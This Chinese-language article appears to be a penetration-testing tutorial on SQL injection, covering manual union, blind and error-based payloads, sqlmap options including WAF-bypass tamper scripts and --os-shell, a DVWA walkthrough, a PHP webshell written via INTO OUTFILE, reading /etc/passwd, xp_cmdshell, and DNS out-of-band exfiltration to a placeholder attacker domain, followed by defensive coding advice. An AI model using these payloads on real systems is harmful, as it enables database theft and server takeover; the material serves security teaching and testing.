当前位置：首页 > news >正文

SQL注入完全攻略：从手工注入到自动化工具实战

news 2026/7/6 10:24:42

1. 项目概述：为什么SQL注入依然是渗透测试的必修课

在网络安全这个行当里干了十几年，SQL注入（SQL Injection）这个话题，我每年都得跟新人、老手反复聊上好几遍。它不像一些新兴的漏洞那样“时髦”，但就像一把永不生锈的瑞士军刀，是渗透测试工程师工具箱里最基础、也最考验功力的工具。你可能会问，现在框架这么成熟，WAF（Web应用防火墙）遍地都是，SQL注入还有搞头吗？我的答案是：不仅有，而且它往往是撕开内网防线的第一道口子。

这个“完全攻略”项目，就是想把我这些年从纯手工“盲打”到结合自动化工具高效实战的经验，系统地梳理出来。它不仅仅是一份漏洞利用说明书，更是一套完整的渗透测试思维训练。你会发现，真正的高手，不是只会用sqlmap跑一遍了事，而是能理解数据流动的每一个环节，能像侦探一样从最细微的异常中嗅到漏洞的气息，并用手工注入的精准和自动化工具的威力，完成从发现、确认、利用到提权的完整链条。无论是CTF赛场上那些精巧的题目，还是真实企业环境中层层设防的业务系统，其核心对抗逻辑都是相通的。接下来，我们就从最根本的原理和手工探测开始，一步步拆解这门“老手艺”里的新技巧。

2. 手工注入：渗透测试师的“手术刀”

自动化工具再强大，其探测逻辑也是人设定的。在面对一些经过定制化过滤、逻辑复杂的注入点时，手工注入的灵活性和针对性无可替代。它让你直接与数据库“对话”，理解后端代码的拼接逻辑，这是任何工具都无法替代的“手感”训练。

2.1 注入点探测与闭合方式判断

一切始于探测。你的目标就是找到那个能将你的输入拼接到原始SQL语句中的参数。

第一步：寻找异常在任何一个输入点（GET/POST参数、Cookie、HTTP头），尝试输入一些特殊的“探针”字符：

单引号': 最经典的探针。如果页面返回数据库错误（如MySQL的You have an error in your SQL syntax），那就像黑暗中亮起了一盏灯，提示这里可能存在字符串闭合的注入。
双引号": 有些编程语言或框架习惯用双引号包裹字符串。
反斜杠\: 用于测试转义逻辑。如果输入\后，后续的单引号被“转义”而不再报错，说明存在过滤或转义机制。
逻辑测试1' and '1'='1/1' and '1'='2: 这是判断注入点是否可利用的关键。如果第一个请求返回正常页面（'1'='1为真），第二个请求返回异常或空页面（'1'='2为假），那么几乎可以断定存在基于布尔（Boolean）的SQL注入。

实操心得：不要只看页面内容是否“报错”。很多现代应用会屏蔽详细的数据库错误。你要关注的是页面状态的“差异”。比如，正常返回用户列表的页面，在你输入特殊字符后，突然变成了空白页、登录页、或者一个通用的“系统错误”提示。这种“状态变化”和“内容差异”往往是更可靠的信号。我习惯用Burp Suite的Comparer工具来高亮对比两个响应的细微差别。

第二步：判断闭合方式与注入类型拿到一个报错点后，下一步是判断它如何被“闭合”到原始SQL语句中。这决定了你后续Payload的构造方式。

数字型注入：参数直接被当作数字使用，无需引号。
- 原始SQL可能为：SELECT * FROM articles WHERE id = $input
- 测试：?id=1 and 1=1正常，?id=1 and 1=2异常。无需闭合引号。
字符型注入（单引号）：最常见。
- 原始SQL：SELECT * FROM users WHERE name = '$input'
- 你需要闭合前面的单引号，并注释掉后面的单引号。
- 测试Payload：admin' AND '1'='1-> 拼接后：...WHERE name = 'admin' AND '1'='1'(正常)
- 测试Payload：admin' AND '1'='2-> 拼接后：...WHERE name = 'admin' AND '1'='2'(异常)
字符型注入（双引号）：
- 原始SQL：SELECT * FROM users WHERE name = "$input"
- 测试Payload：admin" AND "1"="1和admin" AND "1"="2
带括号的注入：常见于IN、VALUES或复杂WHERE子句。
- 原始SQL：SELECT * FROM products WHERE category = ('$input')
- 你需要先闭合括号和引号。
- 测试Payload：clothing') AND ('1'='1和clothing') AND ('1'='2

注意事项：ORDER BY注入是一个特殊且危险的类别。因为ORDER BY后的列名无法使用预编译参数绑定，开发者常常直接拼接。例如ORDER BY $sortField。你可以尝试输入,1、,0（在MySQL中，ORDER BY 0会报错）、或者CASE WHEN ... THEN 1 ELSE 2 END这类条件语句来探测和利用。这是自动化工具有时会遗漏的盲点。

2.2 联合查询注入：快速获取数据的“直通车”

一旦确认注入点并判断出列数，联合查询（Union Select）是最高效的数据提取方式。核心步骤：

确定字段数：使用ORDER BY或UNION SELECT NULL递增试探。
- ?id=1' ORDER BY 5-- -(如果5正常，6报错，则字段数为5)
- ?id=-1' UNION SELECT NULL,NULL,NULL-- -(不断增加NULL直到不报错)
探测显错位：确定页面中哪些位置会回显我们查询的数据。
- ?id=-1' UNION SELECT 1,2,3,4,5-- -
- 观察页面，原本显示数据的地方变成了数字2、3、4等，这些数字就是“显错位”。
提取信息：将数据库函数或查询语句放在显错位上。
- ?id=-1' UNION SELECT 1,database(),user(),version(),5-- -
- 这样就能一次性获取当前数据库名、用户、版本等关键信息。
枚举数据：通过查询information_schema（MySQL）或类似系统表，获取所有表名、列名。
- 获取表名：UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -
- 获取某表（如users）的列名：UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- -
- 最终提取数据：UNION SELECT 1,group_concat(username,':',password),3,4,5 FROM users-- -

避坑技巧：使用UNION时，前一个SELECT语句的结果集最好为空（如id=-1），这样页面只会显示我们注入查询的结果，更清晰。group_concat()函数在数据量大时可能被截断，可以改用limit子句分批次查询，例如limit 0,1、limit 1,1。

2.3 布尔盲注与时间盲注：在没有回显时的“黑暗摸索”

当页面没有直接的数据回显，也没有详细的报错信息，但会根据SQL语句执行的真假返回不同的页面状态（例如，查询成功返回正常页面，失败返回404或空白）时，就是布尔盲注（Boolean-Based Blind Injection）的战场。

核心逻辑：通过构造一个条件判断语句，根据页面返回的“真”、“假”状态，像猜二进制一样，一位一位地“猜”出数据。

猜数据库名长度：?id=1' AND length(database())=8-- -（如果页面正常，则长度是8）
猜数据库名第一位字符：?id=1' AND substr(database(),1,1)='a'-- -（不断更换字符，直到页面正常）

这个过程极其繁琐，但思路清晰。为了提高效率，我们通常会借助工具（如Burp Suite的Intruder）来自动化完成这种“猜解”过程。

时间盲注（Time-Based Blind Injection）是布尔盲注的变种，用于当页面无论真假都返回相同内容时。我们通过让数据库执行延时函数，根据响应时间的长短来判断条件真假。

MySQL:?id=1' AND IF(1=1, sleep(5), 0)-- -（如果响应延迟5秒，说明1=1为真）
猜数据：?id=1' AND IF(substr(database(),1,1)='a', sleep(2), 0)-- -

实战心得：时间盲注非常依赖网络环境的稳定性，误判率高。在实际渗透中，我会优先寻找其他注入方式（如报错注入），或尝试触发一些间接的回显（如将查询结果写入日志、触发二次请求等）。时间盲注是最后的手段。

2.4 报错注入：让数据库自己“说出”秘密

报错注入（Error-Based Injection）是一种非常优雅且高效的方式。它利用数据库执行某些特殊函数时参数错误会返回包含执行结果信息的报错这一特性，直接将数据“打印”在错误信息里。

常用函数（以MySQL为例）：

updatexml():?id=1' AND updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)-- -
- concat(0x7e, ..., 0x7e)是为了构造一个包含~的非法XPath路径，触发报错。报错信息中会包含我们查询的user()结果。
extractvalue():?id=1' AND extractvalue(1, concat(0x7e, (SELECT database())))- -
floor()+rand()+group by: 一种经典的基于主键重复的报错注入，Payload较长但通用性高。

优势：无需判断显错位，通常一次请求就能直接获取一段数据（受报错信息长度限制）。局限：需要应用开启数据库错误回显（但很多开发/测试环境会开启）。WAF往往对常见的报错函数有检测。

3. 自动化工具：渗透测试的“重炮集群”

手工注入是基础，但在时间紧迫或需要大规模测试时，自动化工具是不可或缺的。它们能将我们从重复、繁琐的猜解工作中解放出来，专注于更复杂的逻辑分析和漏洞利用。

3.1 SQLMap：王者之器的深度使用指南

sqlmap是SQL注入领域的“瑞士军刀”，但很多人只用了它10%的功能。这里分享一些进阶用法和避坑经验。

基础探测与常用参数：

# 最基本探测，-u指定URL python sqlmap.py -u "http://target.com/page?id=1" # 指定注入点，当有多个参数时使用 python sqlmap.py -u "http://target.com/page?id=1&name=admin" -p "id" # 使用POST数据 python sqlmap.py -u "http://target.com/login" --data="username=admin&password=test" # 加载Burp的请求文件（最常用、最准确的方式） python sqlmap.py -r request.txt

-r request.txt是我最推荐的方式。先用Burp Suite拦截一个完整的、包含Cookie/Session的正常请求，保存为request.txt，再交给sqlmap。这能最大程度地模拟浏览器环境，绕过一些基础的会话检查。

进阶技巧与性能优化：

层级探测（--level 和 --risk）:
- --level: 控制测试的Payload复杂度（1-5）。级别越高，测试的注入点和技术越多（如HTTP头注入）。对于简单目标，--level 2足够；遇到强WAF，可尝试--level 3或更高。
- --risk: 控制测试的风险等级（1-3）。风险越高，使用的Payload可能对数据稳定性影响越大（如OR 1=1可能导致大量数据被操作）。默认是1。除非在授权测试的独立环境，否则不要轻易使用--risk 3。
绕过WAF/IDS的“魔术”参数:
- --tamper: 这是sqlmap的灵魂功能之一。Tamper脚本可以对Payload进行混淆、编码，以绕过WAF。
  - --tamper=space2comment: 用/**/替换空格。
  - --tamper=between: 用BETWEEN替换>比较符。
  - --tamper=charencode: URL编码。
  - 可以组合使用：--tamper=space2comment,charencode
- 自定义Tamper：面对定制化WAF，你需要分析其过滤规则（比如过滤了select、union等关键字），然后编写自己的Tamper脚本，对关键字进行双写、大小写混合、插入注释等变形。例如，将SELECT变成SELSELECTECT或SeLeCt。
提高效率与稳定性:
- --threads 10: 使用多线程，显著提升枚举速度。
- --batch: 自动选择默认选项，适合非交互式环境。
- --flush-session: 清空之前的会话缓存，重新测试。
- --keep-alive: 使用持久HTTP连接，提升速度。
- --proxy="http://127.0.0.1:8080": 通过Burp Suite等代理发送请求，方便观察和调试Payload。

数据获取与操作系统交互：

# 获取所有数据库 python sqlmap.py -u "http://target.com/page?id=1" --dbs # 获取当前数据库的所有表 python sqlmap.py -u "http://target.com/page?id=1" -D target_db --tables # 获取指定表的列 python sqlmap.py -u "http://target.com/page?id=1" -D target_db -T users --columns # 导出表数据 python sqlmap.py -u "http://target.com/page?id=1" -D target_db -T users -C username,password --dump # 尝试获取操作系统Shell（需数据库高权限且相关功能开启） python sqlmap.py -u "http://target.com/page?id=1" --os-shell

重要警告：--os-shell功能非常强大，但也极其危险。它会上传一个用于执行命令的代理脚本。在未经授权的测试中，绝对禁止使用此功能。即使在授权测试中，也要明确获得客户对“执行系统命令”的许可，并在测试结束后彻底清理上传的文件。

3.2 与其他工具的协同：Burp Suite + SQLMap工作流

我个人的高效工作流是“Burp Suite发现，sqlmap验证和利用”。

被动扫描与主动探测：使用Burp Suite的Scanner对流量进行被动扫描，它能发现一些明显的注入点。对于可疑参数，使用Intruder模块，载入预置的Fuzzing - SQL Injection字典进行快速主动探测，观察响应长度、状态码、内容的差异。
发送至sqlmap：在Burp的Proxy历史记录或Scanner结果中，右键点击可疑请求，选择Extensions->SQLiPy（需安装插件）或直接Save item将请求保存为文件，然后用sqlmap -r加载。
分析结果与手动验证：sqlmap确认漏洞后，不要完全依赖其自动导出的数据。回到Burp的Repeater模块，手动构造几个关键的Payload（如获取当前用户、数据库版本），验证漏洞的稳定性和可利用性，并理解其背后的闭合逻辑，为后续可能的手工绕过做准备。

3.3 自动化工具的局限与手工的不可替代性

尽管sqlmap强大，但它并非万能：

逻辑复杂的注入：例如，注入点位于复杂的CASE WHEN、IF()函数内，或需要特定条件才能触发的子查询中，sqlmap的通用Payload可能无法成功。
自定义过滤与编码：如果网站对输入做了独特的过滤（如替换某些关键字为空格）、多重编码或自定义的加解密，sqlmap的Tamper脚本库可能没有现成的方案。
二次注入与存储型注入：漏洞触发点（如数据插入）和利用点（如数据查询）分离。sqlmap难以自动化完成“插入恶意数据”->“触发恶意数据”的完整链条。
非标准行为判断：对于布尔盲注和时间盲注，sqlmap依赖于对页面差异或响应时间的智能判断。如果网站响应不稳定，或真假页面差异极其微小，sqlmap可能误判。

因此，一个成熟的渗透测试流程应该是：自动化工具广撒网，快速定位潜在风险点；手工注入深度验证，精确打击复杂漏洞。两者相辅相成。

4. 实战场景深度剖析：从靶场到真实环境

掌握了基本技能，我们通过几个典型场景来融会贯通。这里以DVWA（Damn Vulnerable Web Application）和Pikachu这类经典靶场为例，因为它们涵盖了从易到难的各种注入类型。

4.1 DVWA SQL注入关卡通关精解

DVWA的SQL注入设置了不同安全等级，完美模拟了从无防护到有基础防护的环境。

Low级别：完全是“裸奔”状态。参数id没有任何过滤，直接拼接。可以使用最简单的联合查询。

1' UNION SELECT user(), database()#
轻松获取所有信息。这里是学习注入原理和基本Payload构造的起点。

Medium级别：使用了mysql_real_escape_string()函数并对参数做了intval()转换。这意味着id参数被强制转为整数，字符型注入失效。但是，它使用了POST请求，并且下拉菜单的id值可以被抓包修改。

关键点：虽然前端是下拉菜单，但你可以用Burp Suite拦截POST请求，将id参数改为1 UNION SELECT user(), database()。因为参数被转为数字，所以无需闭合引号，这是一个数字型联合查询注入。
教训：永远不要相信前端验证，所有参数都必须在服务端进行严格的类型检查和过滤。

High级别：引入了SESSION。输入被限制在一个单独的输入页面，结果展示在另一个页面。这模拟了输入与查询分离的场景，但漏洞依然存在。

关键点：注入点本身（第一个页面）的输入被严格限制在单引号内，且用了LIMIT 1。但我们可以用#注释掉后面的LIMIT。
Payload:1' UNION SELECT user(), database()#
教训：即使用了SESSION和分页，只要拼接逻辑存在缺陷，漏洞就无法根除。

Impossible级别：使用了参数化查询（Prepared Statements）。这是根本性解决方案。查询语句SELECT first_name, last_name FROM users WHERE user_id = ?被预先编译，?作为占位符，后续传入的id参数只会被当作数据，而不会被解释为SQL代码。至此，SQL注入被彻底防御。

4.2 绕过常见防御机制实战

真实环境不会像靶场那样层次分明，但防御手段无外乎以下几种，我们见招拆招。

1. 绕过关键字过滤（WAF/自定义过滤）：

大小写绕过：SeLeCt，UnIoN
双写绕过：selselectect（如果过滤逻辑是删除select字符串，删除后剩下的字符又组成了select）。
注释符分割：SEL/**/ECT，UN/**/ION。用/**/、/*!*/（MySQL内联注释）等分割关键字。
编码绕过：URL编码、十六进制编码、Unicode编码。例如，UNION->%55%4e%49%4f%4e(URL编码) 或0x554e494f4e(十六进制)。
等价函数/语法替换：
- substring()可以用mid()、substr()替换。
- =可以用like、rlike、regexp替换。
- AND可以用&&，OR可以用||。
- 空格可以用/**/、+、%0a(换行)、%0d(回车)、%09(制表符) 替换。

2. 绕过mysql_real_escape_string()等转义函数：这个函数会转义单引号'、双引号"、反斜杠\等字符。但对于数字型注入，它无能为力，因为数字不需要引号。所以首先要准确判断注入类型。

3. 绕过预编译语句的误用：预编译语句是黄金标准，但使用不当依然可能出问题。最常见的就是ORDER BY、LIMIT、GROUP BY后面的动态参数。这些地方不能使用占位符?，如果开发者直接拼接，就会产生漏洞。

漏洞代码：$sql = "SELECT * FROM products ORDER BY " . $_GET['sort'] . " LIMIT 10";
利用：?sort=id DESC, (SELECT database())

4. 绕过MyBatis的#{}与${}误区：这是一个Java开发者常踩的坑。在MyBatis中：

#{}是预编译占位符，安全。
${}是字符串替换，直接将参数值拼接到SQL语句中，存在SQL注入风险。
如果开发者在ORDER BY等场景错误地使用了${}，例如ORDER BY ${sortField}，那么攻击者就可以控制sortField参数进行注入。#{}在ORDER BY中会导致语法错误（因为会被加上引号），所以有些开发者为了省事就用了${}，这是错误的做法。正确的做法是通过代码逻辑对sortField进行白名单校验。

4.3 从SQL注入到getshell与内网渗透

SQL注入的终极危害往往不止于拖库。在特定条件下，它可以成为进入服务器内网的跳板。

1. 写入WebShell（需绝对路径与FILE权限）：如果数据库用户拥有FILE权限，并且你知道网站的绝对路径，可以将一句话木马写入Web目录。

MySQL:?id=1' UNION SELECT "<?php @eval($_POST['cmd']);?>",2 INTO OUTFILE '/var/www/html/shell.php'-- -
难点：FILE权限通常只授予root或高权限数据库用户；绝对路径很难猜；Web目录可能不可写。

2. 利用数据库功能执行系统命令：

MySQL (需开启secure_file_priv且为root)：通过写入动态链接库（UDF）来执行命令，过程复杂。
Microsoft SQL Server (需xp_cmdshell开启)：EXEC master..xp_cmdshell 'whoami'。这是MSSQL中非常经典的命令执行方式，但高版本默认关闭。
PostgreSQL：利用COPY或pg_largeobject等函数向系统写入文件或执行命令，同样需要高权限。

3. 作为内网探测的支点：即使不能直接执行命令，也可以通过数据库函数进行内网探测。

DNS带外查询（OAST）：利用数据库发起DNS请求，将查询结果带到自己控制的DNS服务器上。这是绕过无回显注入的利器。
- MySQL (需load_file):?id=1' AND load_file(concat('\\\\',(SELECT database()),'.your-dns-server.com\\abc'))-- -
- SQL Server:?id=1; EXEC master..xp_dirtree '\\'+(SELECT @@version)+'.your-dns-server.com\share'
读取服务器文件：?id=1' UNION SELECT load_file('/etc/passwd'),2-- -。可以读取系统配置文件、源码等，寻找其他漏洞（如密钥泄露）。

渗透实战体会：在实际的攻防演练中，通过SQL注入拿到一个数据库权限后，我首先做的不是急着拖库，而是信息收集：查当前用户权限（SELECT user(), super_priv FROM mysql.user）、查数据库版本、尝试读取/proc/self/environ（Linux）获取环境变量、尝试列出目录（LOAD_FILE读目录有时可行）。这些信息往往能为后续的提权和横向移动提供关键线索。记住，渗透是一个链条，SQL注入往往是这个链条上坚实的第一环。

5. 防御视角：从攻击者思维构建安全代码

真正理解攻击，才能做好防御。站在开发者的角度，我们应该如何杜绝SQL注入？

1. 根本大法：使用参数化查询（预编译语句）这是唯一被证明能从根本上防止SQL注入的方法。无论是PHP的PDO、Python的cursor.execute()、Java的PreparedStatement，其原理都是将SQL语句的结构（代码）与数据分离。数据库引擎会先编译带占位符的SQL结构，再将用户输入作为纯数据处理，从而杜绝了输入被解释为代码的可能。

# 错误做法（拼接） cursor.execute("SELECT * FROM users WHERE name = '" + username + "'") # 正确做法（参数化查询） cursor.execute("SELECT * FROM users WHERE name = %s", (username,))

2. 严格的输入验证与白名单对于无法使用参数化查询的地方（如ORDER BY后面的动态列名、表名），必须进行严格的白名单校验。

$allowed_sort_fields = ['id', 'name', 'date']; $sort_field = $_GET['sort']; if (!in_array($sort_field, $allowed_sort_fields)) { $sort_field = 'id'; // 默认值 } $sql = "SELECT * FROM products ORDER BY " . $sort_field;

绝对不要使用黑名单过滤，攻击者的绕过手法层出不穷。

3. 最小权限原则为Web应用连接数据库的账户分配最小必要权限。通常只需要SELECT、INSERT、UPDATE、DELETE等业务权限，坚决不要授予FILE、PROCESS、SUPER、DROP等高级权限。这样即使发生注入，危害也被限制在业务数据层面，无法进行读写文件、执行命令等危险操作。

4. 安全的错误处理切勿将详细的数据库错误信息直接返回给前端用户。应使用自定义的、模糊的错误页面（如“系统内部错误”），同时在服务器端记录详细的错误日志供管理员排查。这能有效增加攻击者进行报错注入和盲注的难度。

5. 纵深防御：WAF与定期审计

Web应用防火墙（WAF）：可以作为一道有效的补充防线，拦截已知的攻击模式。但它不是银弹，可能被绕过，不能替代安全的代码。
代码安全审计与渗透测试：在开发流程中引入安全环节，定期对代码进行人工或自动化审计，并聘请专业团队进行渗透测试，主动发现潜在漏洞。

SQL注入攻防是一场持续的动态博弈。作为防守方，坚守“参数化查询”和“最小权限”这两条铁律，就能抵御99%的注入攻击。作为攻击方（在合法授权范围内），不断深入理解数据库特性、应用逻辑和过滤机制，才能发现那1%隐藏在复杂业务之下的深层漏洞。这门手艺，既需要对手中“手术刀”（手工注入）的精细掌控，也需要对“重炮”（自动化工具）的熟练运用，更需要从攻防两端思考问题的全局视角。希望这篇攻略，能成为你在网络安全道路上的一块扎实的垫脚石。

查看全文

http://www.jsqmd.com/news/1134107/